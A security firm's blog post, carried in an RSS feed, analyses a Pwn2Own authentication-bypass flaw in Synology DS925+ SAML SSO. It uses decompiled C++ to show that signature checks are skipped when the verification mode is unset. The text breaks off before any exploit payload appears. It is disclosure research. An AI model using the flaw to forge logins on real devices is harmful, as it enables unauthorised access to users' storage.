<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:googleplay="http://www.google.com/schemas/play-podcasts/1.0"><channel><title><![CDATA[Verichains]]></title><description><![CDATA[Leading security firm trusted by top fintech customers including Binance, Bullish, Bybit, Galaxy Digital, Vantage FX, Polygon, BNB Chain, Aptos, Sui, Kakao, Line, Abu Dhabi Blockchain Center, as well as many traditional banks and fintech companies!]]></description><link>https://blog.verichains.io</link><image><url>https://substackcdn.com/image/fetch/$s_!XZCb!,w_256,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F20abd958-d8c9-49ef-8c21-44117564e63e_1280x1280.png</url><title>Verichains</title><link>https://blog.verichains.io</link></image><generator>Substack</generator><lastBuildDate>Mon, 03 Aug 2026 18:04:37 GMT</lastBuildDate><atom:link href="https://blog.verichains.io/feed" rel="self" type="application/rss+xml"/><copyright><![CDATA[Verichains]]></copyright><language><![CDATA[en]]></language><webMaster><![CDATA[info@verichains.io]]></webMaster><itunes:owner><itunes:email><![CDATA[info@verichains.io]]></itunes:email><itunes:name><![CDATA[Verichains]]></itunes:name></itunes:owner><itunes:author><![CDATA[Verichains]]></itunes:author><googleplay:owner><![CDATA[info@verichains.io]]></googleplay:owner><googleplay:email><![CDATA[info@verichains.io]]></googleplay:email><googleplay:author><![CDATA[Verichains]]></googleplay:author><itunes:block><![CDATA[Yes]]></itunes:block><item><title><![CDATA[[PWN2OWN IRELAND 2025] Bypassing Authentication via Synology DS925+ SAML SSO]]></title><description><![CDATA[Bypassing Authentication via Synology DS925+ SAML SSO]]></description><link>https://blog.verichains.io/p/pwn2own-ireland-2025-bypassing-authentication</link><guid isPermaLink="false">https://blog.verichains.io/p/pwn2own-ireland-2025-bypassing-authentication</guid><dc:creator><![CDATA[chanze]]></dc:creator><pubDate>Fri, 31 Jul 2026 17:38:39 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/ff6dbaf8-53d6-4625-a042-27f641da8e8c_3538x1990.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p></p><h1><strong>I. Story</strong></h1><p>Getting into Pwn2Own that time was a bit of a lucky break for me: I found the bug and bypassed the requirement right before the registration deadline. When I first started hunting, I didn&#8217;t know anything about pwn, so I collabed with my friend (@ngocquy0307) to help me out during the process, reversing the parts of the code I couldn&#8217;t understand, and making sure we didn&#8217;t miss any pwn bugs. As for me, I decided to focus on logic vulnerabilities.</p><p>Not long before the competition, I happened to find an SSO bypass bug in a small Microsoft plugin. For some reason I had this gut feeling - like my ancestors were guiding me - so when I started auditing, I decided to make SSO my first target. And luckily enough, the app&#8217;s SAML SSO really did have a bug.</p><p>We didn't use any AI in the actual bug hunting. The only place AI came in was afterward - to decompile the code into clean, readable C++ for this writeup.</p><h1><strong>II. Analyst</strong></h1><h2><strong>SYNOPAMSSO::samlAuth Workflow</strong></h2><p>The <code>SYNOPAMSSO::samlAuth</code> function handles the logic when a user logs in via SAML SSO.</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;cpp&quot;,&quot;nodeId&quot;:&quot;21d306bb-b9e9-41f7-8adb-6b554affa3d4&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-cpp">int samlAuth(const std::string&amp; samlResponseB64, std::string&amp; outUser)
{
    SYNO::SSO::SSOSAMLClient client;    // [1]                  
    std::string resp = samlResponseB64;                   
    for (char&amp; c : resp)                                 
        if (c == ' ')
            c = '+';

    client.VerifySamlResponse(resp);    // [2]                
    const std::string&amp; samlUser = client.m_nameId;       

    char realName[1024] = {0};                            
    if (SLIBUserRealNameGet(samlUser.c_str(), realName, sizeof realName) &lt; 0) { 
        syslog(LOG_ERR, "%s:%d no such user: %s",
               "saml_auth.cpp", 30, samlUser.c_str());    
        return 2;
    }

    if (strcasecmp(samlUser.c_str(), realName) != 0) {     
        syslog(LOG_ERR, "%s:%d username not match:  %s, %s",
               "saml_auth.cpp", 34, samlUser.c_str(), realName);  
        return 2;
    }

    bool qualified = std::strchr(samlUser.c_str(), '\\')   
                  || std::strchr(samlUser.c_str(), '@');   

    if (!qualified &amp;&amp; !client.m_allowLocalUser) {     // [3]     
        syslog(LOG_ERR, "%s:%d user is local:  %s, %s",
               "saml_auth.cpp", 40, samlUser.c_str(), realName);  
        return 2;
    }

    outUser = samlUser;                                    
    return 0;
}
</code></pre></div><p>The function performs two main tasks: first, it initializes the SAML client [1], and then uses it to verify the SAML response [2]. The entire SAML validation logic takes place inside <code>verifySamlResponse</code>.</p><h3><strong>[1] </strong><code>SSOSAMLClient Constructor</code></h3><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;cpp&quot;,&quot;nodeId&quot;:&quot;4737b797-d42e-41fb-9532-b931db2caa54&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-cpp">class SSOSAMLClient : public Json::Value {        
public:
    SSOSAMLClient();
    bool readSAMLConfig(Json::Value&amp; out);

    std::string idpIssuerUrl;     
    std::string acsUrl;           
    std::string idpEntityId;      
    std::string nameidFormat;     
    std::string name;             
    std::string mNameId;         
    std::string verifyMode;       
    std::string configPath;       
    std::string certPath;         
    bool        matchLocalUser;   
};

SSOSAMLClient::SSOSAMLClient()
    : Json::Value(Json::nullValue)   
    , matchLocalUser(false)          
{
    Json::Value config(Json::nullValue);
    if (!readSAMLConfig(config))
        return;                       

    *static_cast&lt;Json::Value*&gt;(this) = config;

    idpIssuerUrl   = JsGetStr(config, "saml_idp_signin_url");
    acsUrl         = JsGetStr(config, "saml_acs_url");
    idpEntityId    = JsGetStr(config, "saml_idp_entity_id");
    name           = JsGetStr(config, "saml_name");
    matchLocalUser = JsGetBool(config, "saml_allow_local_user", false);
    verifyMode     = JsGetStr(config, "saml_response_signature");

    nameidFormat   = "urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified";
    configPath     = "/usr/syno/etc/ssoclient/saml.conf";
    certPath       = "/usr/syno/etc/ssoclient/saml_cert.ca";
}

bool SSOSAMLClient::readSAMLConfig(Json::Value&amp; out)
{
    static const char* kConfPath = "/usr/syno/etc/ssoclient/saml.conf";
    
    RunAs guard(0, 0, "sso_saml.cpp", 494);
    if (SLIBCFileExist(kConfPath)) {
        if (SLIBCFileExist(kConfPath) == 1) {
            if (!out.fromFile(kConfPath)) {
                syslog(LOG_ERR, "%s:%d failed to load json file", "sso_saml.cpp", 506);
                throw std::runtime_error("failed to load json file");
            }
        }
        if (!out.isMember("saml_response_signature"))
            out["saml_response_signature"] = "response";
        return true;
    }

    out["sso_saml_enable"]              = "";
    out["saml_name"]                    = "SAML";
    out["saml_idp_entity_id"]           = "";
    out["saml_idp_signin_url"]          = "";
    out["saml_acs_url"]                 = "";
    out["saml_idp_certificate"]         = "";
    out["saml_valid_date"]              = "";
    out["saml_idp_certificate_expired"] = "";
    return false;
}
</code></pre></div><h3><strong>[2] </strong><code>verifySamlResponse</code></h3><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;cpp&quot;,&quot;nodeId&quot;:&quot;602b46a7-e601-454a-a6fb-9096aaab617e&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-cpp">long SSOSAMLClient::VerifySamlResponse(const std::string&amp; samlResponseB64)
{
    // --- 1. Initialize OpenSAML, then Xerces. -------------------------------
    opensaml::SAMLConfig&amp; saml = opensaml::SAMLConfig::getConfig();
    if (!saml.init(/*initXMLTooling=*/true))
        throw std::runtime_error("SAMLConfig::getConfig().init failed");
    xercesc::XMLPlatformUtils::Initialize();

    // --- 2. Base64-decode the payload. --------------------------------------
    XMLSize_t decodedLen = 0;
    XMLByte*  decoded    = xercesc::Base64::decode(
        reinterpret_cast&lt;const XMLByte*&gt;(samlResponseB64.data()), &amp;decodedLen);
    if (!decoded)
        throw std::runtime_error("decoded Fail");

    // --- 3. Parse the XML into a DOM, then build a typed XMLObject tree. -----
    xercesc::MemBufInputSource   membuf(decoded, decodedLen, "SAMLResponse", true);
    xercesc::Wrapper4InputSource source(&amp;membuf, false);

    xercesc::DOMDocument* doc =
        xmltooling::XMLToolingConfig::getConfig().getParser().parse(source);
    if (!doc)
        throw std::runtime_error("doc is null");
    xmltooling::XMLObject* object =
        xmltooling::XMLObjectBuilder::buildOneFromElement(
            doc-&gt;getDocumentElement(), true);
    if (!object)
        throw std::runtime_error("source is null");

    // --- 4. If verifyMode is "response" or "both", verify the &lt;Response&gt;
    //        signature. -------------------------------------------------------
    if (this-&gt;verifyMode == "response" || this-&gt;verifyMode == "both") {
        auto* signable = dynamic_cast&lt;xmltooling::SignableObject*&gt;(object);
        if (!signable)
            throw std::runtime_error("signable is null");
        if (!signable-&gt;getSignature())
            throw std::runtime_error("getSignature is null");
        verifySignature(signable-&gt;getSignature());
    }

    // --- 5. The message must be a samlp:Response. ---------------------------
    auto* response = dynamic_cast&lt;opensaml::saml2p::Response*&gt;(object);
    if (!response)
        throw std::runtime_error("message was not a samlp:Response");

    // --- 6. The SAML status must be "Success". A null Status, a null
    //        StatusCode, or any value other than SUCCESS raise the same error.
    opensaml::saml2p::Status* status = response-&gt;getStatus();
    if (!status
        || !status-&gt;getStatusCode()
        || !xercesc::XMLString::equals(status-&gt;getStatusCode()-&gt;getValue(),
                                       opensaml::saml2p::StatusCode::SUCCESS))
        throw std::runtime_error("attribute authority returned a SAML error");

    // --- 7. Schema-validate the Response. -----------------------------------
    xmltooling::SchemaValidators.validate(response);

    // --- 8. The Response Issuer must match the configured IdP entity id. -----
    if (!response-&gt;getIssuer())
        throw std::runtime_error("issuer is null");

    char* issuerUtf8 = xercesc::XMLString::transcode(
        response-&gt;getIssuer()-&gt;getTextContent());
    if (!issuerUtf8)
        throw std::logic_error("basic_string: construction from null is not valid");
    xercesc::XMLString::trim(issuerUtf8);
    std::string issuer(issuerUtf8);
    xercesc::XMLString::release(&amp;issuerUtf8);

    if (issuer != this-&gt;idpEntityId)
        throw std::runtime_error("issuer does not match: " + issuer);
    syslog(LOG_DEBUG, "%s:%d issuer: %s:%s", "sso_saml.cpp", 377,
           idpEntityId.c_str(), issuer.c_str());

    // --- 9. There must be at least one &lt;Assertion&gt;. -------------------------
    const std::vector&lt;opensaml::saml2::Assertion*&gt;&amp; assertions =
        response-&gt;getAssertions();
    if (assertions.empty())
        throw std::runtime_error("resolve is empty");

    // --- 10. Take the NameID from the FIRST assertion that passes EVERY check.
    //         A failing check is logged (no throw) and we move to the next
    //         assertion. ---------------
    for (opensaml::saml2::Assertion* assertion : assertions) {

        // 10a. Optional per-assertion signature check.
        if (this-&gt;verifyMode == "assertion" || this-&gt;verifyMode == "both")
            verifySignature(assertion-&gt;getSignature());

        // 10b. Subject must be present.
        opensaml::saml2::Subject* subject = assertion-&gt;getSubject();
        if (!subject) {
            syslog(LOG_ERR, "%s:%d subject is null", "sso_saml.cpp", 394);
            continue;
        }

        // 10c. Issuer must be present.
        if (!assertion-&gt;getIssuer()) {
            syslog(LOG_ERR, "%s:%d assert issuer is null", "sso_saml.cpp", 399);
            continue;
        }

        // 10d. Assertion Issuer text must match the configured IdP entity id.
        //      (inlined getTextContent + transcode + trim -&gt; std::string)
        char* aIssuerUtf8 = xercesc::XMLString::transcode(
            assertion-&gt;getIssuer()-&gt;getTextContent());
        if (!aIssuerUtf8)
            throw std::logic_error("basic_string: construction from null is not valid");
        xercesc::XMLString::trim(aIssuerUtf8);
        std::string assertionIssuer(aIssuerUtf8);
        xercesc::XMLString::release(&amp;aIssuerUtf8);

        if (assertionIssuer != this-&gt;idpEntityId) {
            syslog(LOG_ERR, "%s:%d issuer does not match: %s", "sso_saml.cpp",
                   406, assertionIssuer.c_str());
            continue;
        }

        // 10e. If &lt;Conditions&gt; are present, enforce the validity window.
        if (opensaml::saml2::Conditions* cond = assertion-&gt;getConditions()) {
            time_t now = time(nullptr);
            if (now &lt; cond-&gt;getNotBefore()) {
                syslog(LOG_ERR, "%s:%d Assertion is not yet valid.",
                       "sso_saml.cpp", 413);
                continue;
            }
            if (now &gt;= cond-&gt;getNotOnOrAfter()) {
                syslog(LOG_ERR, "%s:%d Assertion is no longer valid.",
                       "sso_saml.cpp", 418);
                continue;
            }
        }

        // 10f. All checks passed: this assertion's NameID is the user. Stop.
        //      (inlined getTextContent + transcode + trim -&gt; std::string)
        char* nameIdUtf8 = xercesc::XMLString::transcode(
            subject-&gt;getNameID()-&gt;getTextContent());
        if (!nameIdUtf8)
            throw std::logic_error("basic_string: construction from null is not valid");
        xercesc::XMLString::trim(nameIdUtf8);
        m_nameId = nameIdUtf8;
        xercesc::XMLString::release(&amp;nameIdUtf8);
        break;
    }

    // --- 11. A user must have been extracted. -------------------------------
    if (m_nameId.empty())
        throw std::runtime_error("nameId is empty");

    // --- 12. Teardown. ------------------------------------------------------
    delete object;          
    return opensaml::SAMLConfig::getConfig().term(true);
}
</code></pre></div><p><span>After reading through the snippets above, you&#8217;ve probably already noticed the flaw in the application&#8217;s logic within the SAML SSO feature. Now, let&#8217;s dive into the detailed analysis.</span></p><h2><strong>Bypassing Authentication via SAML SSO</strong></h2><p>Inside the <code>verifySamlResponse</code> function, when checking the signature at steps 4 and 10a</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!yauW!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F06b342a0-14a0-4202-a6c3-521d9465b698_1150x368.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!yauW!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F06b342a0-14a0-4202-a6c3-521d9465b698_1150x368.png 424w, https://substackcdn.com/image/fetch/$s_!yauW!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F06b342a0-14a0-4202-a6c3-521d9465b698_1150x368.png 848w, https://substackcdn.com/image/fetch/$s_!yauW!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F06b342a0-14a0-4202-a6c3-521d9465b698_1150x368.png 1272w, https://substackcdn.com/image/fetch/$s_!yauW!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F06b342a0-14a0-4202-a6c3-521d9465b698_1150x368.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!yauW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F06b342a0-14a0-4202-a6c3-521d9465b698_1150x368.png" width="1150" height="368" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/06b342a0-14a0-4202-a6c3-521d9465b698_1150x368.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:368,&quot;width&quot;:1150,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!yauW!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F06b342a0-14a0-4202-a6c3-521d9465b698_1150x368.png 424w, https://substackcdn.com/image/fetch/$s_!yauW!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F06b342a0-14a0-4202-a6c3-521d9465b698_1150x368.png 848w, https://substackcdn.com/image/fetch/$s_!yauW!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F06b342a0-14a0-4202-a6c3-521d9465b698_1150x368.png 1272w, https://substackcdn.com/image/fetch/$s_!yauW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F06b342a0-14a0-4202-a6c3-521d9465b698_1150x368.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Wque!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18ecf2c3-5e07-4e4e-a9a5-328e655c2d29_1100x130.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Wque!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18ecf2c3-5e07-4e4e-a9a5-328e655c2d29_1100x130.png 424w, https://substackcdn.com/image/fetch/$s_!Wque!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18ecf2c3-5e07-4e4e-a9a5-328e655c2d29_1100x130.png 848w, https://substackcdn.com/image/fetch/$s_!Wque!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18ecf2c3-5e07-4e4e-a9a5-328e655c2d29_1100x130.png 1272w, https://substackcdn.com/image/fetch/$s_!Wque!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18ecf2c3-5e07-4e4e-a9a5-328e655c2d29_1100x130.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Wque!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18ecf2c3-5e07-4e4e-a9a5-328e655c2d29_1100x130.png" width="1100" height="130" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/18ecf2c3-5e07-4e4e-a9a5-328e655c2d29_1100x130.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:130,&quot;width&quot;:1100,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Wque!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18ecf2c3-5e07-4e4e-a9a5-328e655c2d29_1100x130.png 424w, https://substackcdn.com/image/fetch/$s_!Wque!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18ecf2c3-5e07-4e4e-a9a5-328e655c2d29_1100x130.png 848w, https://substackcdn.com/image/fetch/$s_!Wque!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18ecf2c3-5e07-4e4e-a9a5-328e655c2d29_1100x130.png 1272w, https://substackcdn.com/image/fetch/$s_!Wque!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18ecf2c3-5e07-4e4e-a9a5-328e655c2d29_1100x130.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;cpp&quot;,&quot;nodeId&quot;:&quot;cd417406-e677-40b3-94ec-37ba047462d2&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-cpp">long SSOSAMLClient::VerifySamlResponse(const std::string&amp; b64Response)
{
&#9;[...]
&#9;if (this-&gt;verifyMode == "response" || this-&gt;verifyMode == "both") {
&#9;&#9;auto* signable = dynamic_cast&lt;xmltooling::SignableObject*&gt;(src);
&#9;&#9;if (!signable)
&#9;&#9;&#9;throw std::runtime_error("signable is null");
&#9;&#9;if (!signable-&gt;getSignature())
&#9;&#9;&#9;throw std::runtime_error("getSignature is null");
&#9;&#9;verifySignature(signable-&gt;getSignature());
&#9;[...]
&#9;
&#9;for (opensaml::saml2::Assertion* assertion : assertions) {
&#9;&#9;if (this-&gt;verifyMode == "assertion" || this-&gt;verifyMode == "both")
&#9;&#9;&#9;verifySignature(assertion-&gt;getSignature());
&#9;[...]
}
</code></pre></div><p><span>Here, the developer implicitly assumed that the value of </span><code>verifyMode</code><span> would always be one of three options: </span><code>{"response", "assertion", "both"}</code><span>. As a result, if </span><code>verifyMode</code><span> holds any value other than those three, the signature verification step can be completely bypassed. The value of </span><code>verifyMode</code><span> is assigned within the </span><code>SSOSAMLClient</code><span> constructor. </span>Looking at the <code>SSOSAMLClient</code> constructor, if <code>readSAMLConfig</code> returns false, the constructor returns early, leaving the object with its attributes defaulted to empty strings or false.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!YJLN!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb7a12ca7-744d-4104-b1f3-302809d1e8d0_1166x66.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!YJLN!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb7a12ca7-744d-4104-b1f3-302809d1e8d0_1166x66.png 424w, https://substackcdn.com/image/fetch/$s_!YJLN!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb7a12ca7-744d-4104-b1f3-302809d1e8d0_1166x66.png 848w, https://substackcdn.com/image/fetch/$s_!YJLN!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb7a12ca7-744d-4104-b1f3-302809d1e8d0_1166x66.png 1272w, https://substackcdn.com/image/fetch/$s_!YJLN!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb7a12ca7-744d-4104-b1f3-302809d1e8d0_1166x66.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!YJLN!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb7a12ca7-744d-4104-b1f3-302809d1e8d0_1166x66.png" width="1166" height="66" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b7a12ca7-744d-4104-b1f3-302809d1e8d0_1166x66.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:66,&quot;width&quot;:1166,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!YJLN!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb7a12ca7-744d-4104-b1f3-302809d1e8d0_1166x66.png 424w, https://substackcdn.com/image/fetch/$s_!YJLN!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb7a12ca7-744d-4104-b1f3-302809d1e8d0_1166x66.png 848w, https://substackcdn.com/image/fetch/$s_!YJLN!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb7a12ca7-744d-4104-b1f3-302809d1e8d0_1166x66.png 1272w, https://substackcdn.com/image/fetch/$s_!YJLN!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb7a12ca7-744d-4104-b1f3-302809d1e8d0_1166x66.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!PV7M!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F25405ddd-0629-4ba2-99b6-bcacbb86ea5d_446x64.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!PV7M!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F25405ddd-0629-4ba2-99b6-bcacbb86ea5d_446x64.png 424w, https://substackcdn.com/image/fetch/$s_!PV7M!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F25405ddd-0629-4ba2-99b6-bcacbb86ea5d_446x64.png 848w, https://substackcdn.com/image/fetch/$s_!PV7M!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F25405ddd-0629-4ba2-99b6-bcacbb86ea5d_446x64.png 1272w, https://substackcdn.com/image/fetch/$s_!PV7M!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F25405ddd-0629-4ba2-99b6-bcacbb86ea5d_446x64.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!PV7M!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F25405ddd-0629-4ba2-99b6-bcacbb86ea5d_446x64.png" width="446" height="64" 